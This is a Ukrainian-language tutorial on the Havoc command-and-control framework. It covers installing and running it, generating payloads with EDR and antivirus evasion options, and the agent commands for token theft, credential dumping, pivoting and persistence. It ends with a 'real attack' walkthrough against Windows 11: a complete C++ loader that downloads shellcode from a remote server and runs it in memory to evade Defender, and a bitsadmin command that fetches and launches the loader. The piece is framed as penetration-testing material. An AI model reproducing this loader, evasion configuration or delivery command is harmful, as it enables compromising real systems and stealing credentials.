У цій статті ми розберемо маловідомий, зате ефективний фреймворк з тестувань на проникнення – Havoc C2. Інструмент у багато чому нагадує Cobalt Strike та Metasploit, але буде корисним насамперед після отримання початкового доступу, на стадії закріплення Persistence.
Що таке Havoc С2?
Havoc – це сучасний безкоштовний Сommand & Сontrol (C2) фреймворк для пост-експлуатації і проведення пентестів, розроблений на С++ Полом Унгуру (@C5spider).
Фреймворк існує у двох версіях – безкоштовній та професійній. Працює по моделі клієнт-сервер. Складається з 2-х компонентів: Teamserver та Client. Перший обробляє усі виклики та з’єднання, розгортається на окремому VPS сервері. Другий служить веб-інтерфейсом і може бути встановлений різними операторами на різних комп’ютерах. Містить вбудований генератор корисного навантаження, який створює імплант – Demon Agent.
Є підтримка API через Python.
Розгортання Havoc C2 в Linux
Встановлення:
sudo apt update sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm git clone https://github.com/HavocFramework/Havoc.git cd Havoc cd teamserver go mod download golang.org/x/sys go mod download github.com/ugorji/go cd .. make ts-build make client-build
Запуск:
./havoc server --profile ./profiles/havoc.yaotl -v --debug./havoc client
Для входу в клієнт необхідно заповнити дані сервера:
- Name – довільне ім’я облікового запису.
- Host – адреса сервера.
- Port – порт на якому працює сервер, по замовчуванню 40056.
- User – ім’я користувача, по замовчуванню “Neo”.
- Password – пароль та інші дані знаходяться в профілі користувача
~/Havoc/profiles/havoc.yaotl.


Детальні інструкції по встановленню для різних систем дивіться в офіційній документації Havoc >>
Веб-інтерфейс Havoc C2
Графічний інтерфейс і юзабіліті Havoc має дружній і компактний вигнляд, чимось нагадує стандартний RAT і Cobalt-Strike. Являє собою панель управління з рядком меню, розділену на різні рухомі робочі області: лістинг агентів, лог подій, блоки модулів, статус бар та інші.
Меню Havoc містить такі пункти:
- Havoc
- New Client – підключити новий клієнт (інстанс) до Teamserver. Використовується, коли треба відкрити ще одне вікно керування для того самого сервера.
- Disconnect – від’єднати поточний клієнт від Teamserver (без зупинки сервера).
- Exit – закрити клієнт Havoc повністю.
- View
- Listeners – відкрити панель створення/керування лістенерами.
- Session View
- Table – табличне представлення сесій/агентів.
- Graph – графічне представлення: дерево зв’язків агентів і півотів (хто через кого йде).
- Teamserver Chat – чат між операторами на одному Teamserver.
- Loot – панель “здобичі”: зібрані дані (скріншоти, дампи, файли, паролі тощо).
- Event viewer – панель журналу подій: логи всіх дій операторів і агентів.
- Teamserver – панель логів і статусу Teamserver’а.
- Attack
- Payload – підменю атак: генерація пейлоадів, створення агентів. Тут же відкривається вікно генерації пейлоаду (Payload).
- Extensions – розширення: завантаження додаткових модулів (наприклад, BOF-файлів, кастомних агентів).
- Scripts
- Scripts Manager – менеджер скриптів: імпорт/експорт/редагування скриптів Havoc.
- Scripts Console – консоль для виконання скриптів Havoc (Python-інтерпретатор для автоматизації).
- Help
- About – інформація про версію Havoc.
- Open Documentation – відкрити документацію.
- Open API Reference – довідник по API Havoc (для розробників скриптів/розширень).
- Github Repository – перехід на GitHub-репозиторій проєкту.

Listener
Для того, щоб почати приймати з’єднання необхідно створити Listener – прослуховувач, обробник з’єднань. Для цього треба перейти в меню View -> Listeners й задати необхідні налаштування:
- Name – ім’я лістенера
- Payload – обрати корисне навантаження, доступні:
- Http – звичайне незашифроване з’єднання.
- Https – зашифроване TLS-з”єднання.
- Smb – з’єднання через SMB.
- External – зовнішній listener, який передає трафік на інший сервер/проксі.
- Hosts – вказати IP-адреси або хост-ім’я серверів, з якими з’єднається malware.
- Host Rotation – метод вибора хоста зі списку:
- round-robin – по черзі, по колу.
- random – випадковим чином.
- Host (Bind) – локальна IP-адреса для з’єднання, на якій лістенер відкриває порт для стикування (bind), можна вказати усі інтерфейси 0.0.0.0 або окремий.
- PortBind – порт, який відкриває лістенер на локальній машині для прийому з’єднань (наприклад, 443, 80, 8443 або будь-який інший).
- PortConn – порт, через який агент (malware) з’єднується з сервером. У більшості випадків співпадає з PortBind, але може відрізнятися, якщо використовується NAT/редирект.
- User-Agent – можна задати юзер-агент, за замовчуванням стоїть
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 - Headers – додаткові кастомні HTTP-заголовки, які додаються до кожного запиту (наприклад, Authorization, X-Custom — для обходу фільтрів або імітації легітимного трафіку).
- Uris – URI-шляхи (наприклад, /api, /callback), за якими агент звертається до сервера. Можна вказати декілька, агент буде використовувати їх для запитів, корисно для сценаріїв передачі даних на сервер.
- Host Header – начення HTTP-заголовка Host. Використовується для обходу фільтрації за доменом або для віртуального хостингу. Можна підробити під інший домен.
- Proxy connection – блок для налаштування проксі-сервера, трафік від агента буде проходити через вказаний проксі.

Тиснемо Save і Listener запущено. Після запуску, слухач з’явиться на панелі управління, відобразиться його статус.
Payload
Коли слухач запущено, можна переходити до створення корисного навантаження в меню Attack -> Payload:
- Listener – необхідно обрати під який лістенер буде створено пейлоад.
- Arch – архітектура пейлоада x64/x86.
- Format – формат пейлоаду, пропонується обрати зі списку:
- Windows Exe – у вигляді звичайного виконуваного файлу з розширенням exe.
- Windows Dll – у вигляді бібліотеки DLL.
- Windows Shellcode – у вигляді шеллкоду.
- Windows Service Exe – у вигляді системної служби, що запускається через втиконуваний файл.
- Config:
- Sleep – час у секундах між “серцебиттями” агента (check-in). Агент спить вказану кількість секунд, потім прокидається, з’єднується з сервером, отримує команди, виконує їх і знову засинає. По замовчуванню, стоїть 2 секунди.
- Jitter – відсоток випадкового відхилення від Sleep. Якщо Sleep = 10, а Jitter = 30%, то реальний час сну буде від 7 до 13 секунд (рандомно). Потрібно для ускладнення виявлення — трафік не ходить рівномірно, як у легального ПЗ. По замовчуванню, стоїть 15.
- Indirect Syscall – чекбокс. Якщо активовано, агент використовує непрямі системні виклики (indirect syscalls) замість прямих. Це ускладнює детект від EDR/AV, бо виклики йдуть не напряму в ядро, а через сторонній gadget-код в пам’яті.
- Stack Duplication – чекбокс. При виконанні syscall дублюється стек виклику, щоб замести сліди — EDR складніше відстежити, звідки прийшов виклик.
- Sleep Technique – техніка, яка використовується під час сну агента (коли він не активний, але залишається в пам’яті):
- WaitForSingleObjectEx – стандартний WinAPI. Легко детектиться, бо пам’ять відкрита.
- Foliage – блокує стек перед сном, ускладнює дамп пам’яті. Тільки стек маніпуляції, без шифрування пам’яті.
- Ekko – використовує таймери для сну, шифрує секції пам’яті під час сну. Без stack spoofing.
- Zilean – блокує виконання через таймери, також шифрує пам’ять. Найпросунутіший варіант.
- Sleep Jmp Gadget – інструкція jmp для переходу після пробудження:
- jmp rbx – використовує регістр rbx для переходу.
- jmp rax – використовує rax.
- none – без додаткового gadget. Потрібно для обходу EDR, які ставлять хуки на певні адреси повернення.
- Proxy Loading – метод завантаження DLL через проксі:
- None (LdrLoadDll) – стандартне завантаження через LdrLoadDll. Легко детектиться.
- RtlRegisterWait – через механізм waitable таймерів.
- RtlCreateTimer – через створення таймера.
- RtlQueueWorkItem – через чергу робочих елементів (work item). Кожен метод маскує факт завантаження DLL під легальну активність. Найменш підозрілий спосіб завантаження.
- Amsi/Etw Patch – метод обходу антивірусного сканування (AMSI) та журналювання (ETW):
- None – без патча.
- Hardware Breakpoints – використовує апаратні точки зупину (HWBP) для перехоплення і блокування викликів AmsiScanBuffer та EtwEventWrite. Ефективніше, ніж простий патч пам’яті.
- Injection
- Alloc – метод виділення пам’яті в цільовому процесі:
- Native/Syscall – через прямий системний виклик (NTAPI), обходячи WinAPI.
- Win32 – через стандартну WinAPI-функцію VirtualAllocEx.
- Execute – метод виконання коду в цільовому процесі:
- Native/Syscall – через NtCreateThreadEx або прямий syscall.
- Win32 – через CreateRemoteThread.
- Spawn64 – шлях до 64-бітного процесу, в який буде інжектуватися агент (наприклад, C:\Windows\System32\notepad.exe).
- Spawn32 – шлях до 32-бітного процесу, в який буде інжектуватися агент (наприклад, C:\Windows\System32\notepad.exe).
- Alloc – метод виділення пам’яті в цільовому процесі:

Після генерації Havoc C2 запропонує зберегти файл. Відправляємо його на ціль, виконуємо і очікуємо з’єднання.
Експлуатація
Після виконання пейлоаду на цільовій машині і успішного з’єднання з агентом, на панелі управління Havoc C2, на лістингу, з’явиться нова ціль з інформацією, яка оновлюється в режимі онлайн:
- ID – унікальний ідентифікатор агента.
- External – зовнішня публічна IP-адреса скомпрометованої цілі.
- Internal – внутрішня локальна IP-адреса цілі.
- User – ім’я користувача системи, під яким запущено агент.
- Computer – ім’я системи (hostname).
- OS – операційна система цільової машини.
- Process – ім’я файлу і процесу в якому виконується агент.
- PID – ідентифікатор процесу на цільовій машині.
- Last – час останнього успішного зв’язку.
- Health – стан агента, живий (healthy) або мертвий (unreponsive).
Лістинг агентів
Взаємодія з агентом відбувається через контекстне меню, яке містить наступні пункти:
- Interact – відкриває консоль взаємодії з агентом (демоном).
- Explorer
- Process List – окремий перелік запущених процесів на цільовій машині.
- File Explorer – вбудований файловий менеджер для навігації по файловій системі жертви: перегляд, завантаження, вивантаження файлів, перейменування, видалення.
- Mark as Dead – вручну позначити агента як мертвого (втрачений зв’язок), навіть якщо сервер ще не визначив це автоматично.
- Color – змінити колір рядка агента в списку (для візуальної категоризації цілей).
- Export – експортувати інформацію про агента (лог з’єднань, конфігурацію) у JSON-файл.
- Remove – видалити агента зі списку без завершення його роботи на цільовій машині.
- Exit
- Thread – завершити агента, вбивши його потік (agent вивантажується, але процес-носій залишається живим).
- Process – завершити агента, вбивши весь процес, у якому він живе (процес-носій теж завершується).
Команди і модулі консолі С2
У консолі демона (Interact) доступні такі команди та модулі:
help— показати список команд.cat— виводить вміст файлів.cd— перейти в директорію.checkin— примусовий heartbeat (зв’язок із сервером).cp— копіювати файл з одного місця в інше.dir— показати вміст директорії (список файлів).download— скачати файл із цільової машини на сервер.exit— завершити агента (cleanup: почистити сліди й вивантажитися).inline-execute— виконати Object File (BOF — Beacon Object File) прямо в пам’яті без запису на диск. Приклад:inline-execute /path/to/bof.o arg1 arg2klist— список Kerberos-квитків поточної сесії.luid— показати поточний Logon ID (ідентифікатор сесії входу).mkdir— створити директорію.mv— перемістити файл.powershell— виконати команду через powershell.exe і повернути вивід. Наприклад:powershell whoamiptt— Pass-The-Ticket: імпортувати Kerberos-квиток у поточну сесію.purge— очистити Kerberos-квитки (видалити всі з сесії).pwd— показати поточну директорію.remove— видалити файл або директорію.screenshot— зробити скріншот екрана.shell— виконати команду через cmd.exe і повернути вивід.shell hostname– вивести хост-ім’я.shell whoami– вивести інформацію про користувача.shell net user– вивести відомості про поточного користувача.shell systeminfo– вивести інформацію про систему.shell net localgroup administrator– вивести інформацію про учасників локальної групи.
sleep— змінити час сну агента (Sleep + Jitter).upload— завантажити файл із сервера на цільову машину.config— налаштування поведінки сесії Demon (sleep, jitter, техніки тощо).dll— завантаження та інжект DLL (DLL spawn / injection).dotnet— виконання та управління .NET-асемблі (наприклад, Rubeus, ADSearch, Seatbelt). Приклад:dotnet inline-execute /path/to/assembly.exe arg1 arg2job— менеджер фонових завдань (запуск/зупинка/перегляд).net— модуль мережевої розвідки: enum користувачів, доменів, шари, сесії, shares.net domain— інформація про доменnet logons— список залогінених користувачівnet sessions— активні сесії на хостахnet localgroup— локальні групи та їх члениnet group— доменні групи та їх члениnet user— доменні або локальні користувачіnet users— список усіх користувачівnet computers— список комп’ютерів у доменіnet dclist— список контролерів доменуnet shares— розшарені папки на хостахnet domain trusts— довірчі відносини доменівnet ads— загальна інформація AD
pivot— модуль півотингу: прокид з’єднань через агента вглиб мережі.proc— управління процесами: список, kill, inject.rportfwd— reverse port forwarding: проброс порту з цільової машини назовні. Наприклад:rportfwd add 127.0.0.1 8080 10.0.0.5 80– форвардинг локального порту на віддалену ціль.shellcode— техніки інжекту шеллкоду (алокація, виконання). Наприклад:shellcode inject 1234 x64 shellcode.bin– ін’єкція шеллкода в процес 1234.socks— SOCKS5-проксі через агента. Наприклад:socks 1080– відкрити SOCKS з’єднання на порту 1080.task— менеджер задач (перегляд процесів як у диспетчері).token— маніпуляція токенами: make_token, steal_token, rev2self, getsystem.token steal 1234– отримати токен з процесу PID 1234.token impersonate– застосувати перехоплений токен.token revert– повернутися до початкового токена.
transfer— модуль передачі файлів (розширене завантаження/вивантаження).sharpPersist– модуль для застосування персистетності для PE-файлу (автостарт, реєстр, завдання).privkit– модуль підвищення привілеїв.help <сommand/module>– отримати детальну інформацію по команді або модулю.
Усі модулі знаходяться в директорії Havoc/client/Modules. Havoc підтримує імпорт самописних модулів/скриптів.
Extensions
Панель Extensions знаходиться в меню Attack -> Extensions. Тут містяться різноманітні розширення, які можна використовувати у сценаріях атак.
- havoc-reporter — генерація звітів по сесіях/діях (для документації).
- havoc-fetch — завантаження файлів/даних через HTTP(S) із зовнішніх джерел.
- auto_suite — набір автоматизації (автозбір інформації, швидкі команди).
- Shhhavoc — модуль для роботи з SSH (прокидання тунелів, виконання команд на Linux-хостах).
- matro7sh_loaders (221b / myph) — лоадери для завантаження/запуску пейлоадів (обхід AV).
- ADOE — Active Directory Object Enumeration: збір інформації про об’єкти AD.
- mitre4havoc — маппінг дій на MITRE ATT&CK (для звітності/трекінгу).
- havoc-gosecdump — дамп секретів (LSASS, паролі, хеші) через Go-бінарник.
- havoc-privkit — набір для підвищення привілеїв (Privilege Escalation).
- havoc-sharpersist — persistence через SharpPersist (автозапуск, scheduled tasks).
- havoc-SauronEye — пошук файлів за ключовими словами (наприклад, паролі в файлах).
- havoc-ligolo — Ligolo-тунелювання (швидкий VPN-прокид через агента).
- havoc-PoolParty — інжект через pool party technique (обхід EDR).
- havoc-NoPowerShell — портує NoPowerShell.exe від bitsadmin у Havoc C2. Виконує PowerShell-командлети в пам’яті, залишаючись невидимим для будь-яких механізмів логування PowerShell. Також може виконувати розвідку Active Directory за допомогою модуля AD.
- havoc-bloodhound — запуск SharpHound для збору даних BloodHound (маппінг AD).
- havoc-DLLHijack — автоматизація DLL Hijacking для persistence/обходу.
- havoc-ducky — емуляція Rubber Ducky (введення клавіш, автоматизація).
- havoc_impersonnate — імперсонація користувачів/токенів (обхід UAC, привілеї).
При виборі модуля відобразиться блок з коротким описом та кнопкою “Install”:
Після успішного встановлення, розширення з’являться на панелі управління Havoc або серед команд консолі. Результати відображаються у консолі Interact.
Приклад реальної атаки з Havoc C2 на Windows 11 (Shellcode Loader)
1) Створюємо лістенер в Havoc C2.
2) Генеруємо шеллкод в Havoc C2 під цей лістенер (можна зі стандартними налаштуваннями):
3) Зберігаємо шеллкод у файл із розширенням .bin на локальний диск.
4) Запускаємо nginx веб-сервер, аби цей файл можна було завантажити на цільову систему:
sudo apt install nginx -y && sudo systemctl start nginx && sudo cp /home/kali/demon.x64.bin /var/www/html/ && sudo systemctl status nginx --no-pager -l | head -5sudo tail -f /var/log/nginx/access.log– перегляд логів онлайн
5) Створюємо файл loader.cpp, який скачає і запустить в пам’яті Windows шеллкод (з обходом AV/Defender):
#include <Windows.h>
#include <winhttp.h>
#include <iostream>
#include <vector>
#pragma comment(lib, "winhttp.lib")
std::vector<BYTE> Download(LPCWSTR baseAddress, LPCWSTR filename);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
std::vector<BYTE> shellcode = Download(L"XXX.XX.XX.XX", L"/demon.x64.bin");
LPVOID ptr = &shellcode[0];
DWORD oldProtect;
VirtualProtect(ptr, shellcode.size(), PAGE_EXECUTE_READWRITE, &oldProtect);
DWORD threadId = 0;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ptr, NULL, 0, &threadId);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return 0;
}
std::vector<BYTE> Download(LPCWSTR baseAddress, LPCWSTR filename) {
// initialise session
HINTERNET hSession = WinHttpOpen(
NULL,
WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, // proxy aware
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
NULL);
// create session for target
HINTERNET hConnect = WinHttpConnect(
hSession,
baseAddress,
xxxxx, // your open port
0);
// create request handle
HINTERNET hRequest = WinHttpOpenRequest(
hConnect,
L"GET",
filename,
NULL,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
NULL);
// send the request
WinHttpSendRequest(
hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0,
WINHTTP_NO_REQUEST_DATA,
0,
0,
0);
// receive response
WinHttpReceiveResponse(
hRequest,
NULL);
// read the data
std::vector<BYTE> buffer;
DWORD bytesRead = 0;
do {
BYTE temp[4096]{};
WinHttpReadData(hRequest, temp, sizeof(temp), &bytesRead);
if (bytesRead > 0) {
buffer.insert(buffer.end(), temp, temp + bytesRead);
}
} while (bytesRead > 0);
// close all the handles
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return buffer;
} Компілюємо в Visual Studio CLI: cl.exe loader.cpp /Fe:shellcode_loader.exe /EHsc /link winhttp.lib /SUBSYSTEM:WINDOWS
6. Доставляємо файл shellcode_loader.exe в Windows і запускаємо його:
bitsadmin /transfer mulaDownload /download /priority high http://X.X.X.X:XXXX/shellcode_loader.exe %USERPROFILE%\shellcode_loader.exe & start /B %USERPROFILE%\shellcode_loader.exe
7. На панелі Havoc з’явиться новий агент.
Додаткові посилання
- GitHub.Home-Grown-Red-Team
- GitHub. PE to Shellcode
- GitHub. GhostPack-Compiled Binaries
- Hijacking DLLs in Windows
- GitHub. Spartacus DLL/COM Hijacking Toolkit
Автор: © Konrad Ravenstone, KR. Laboratories Research










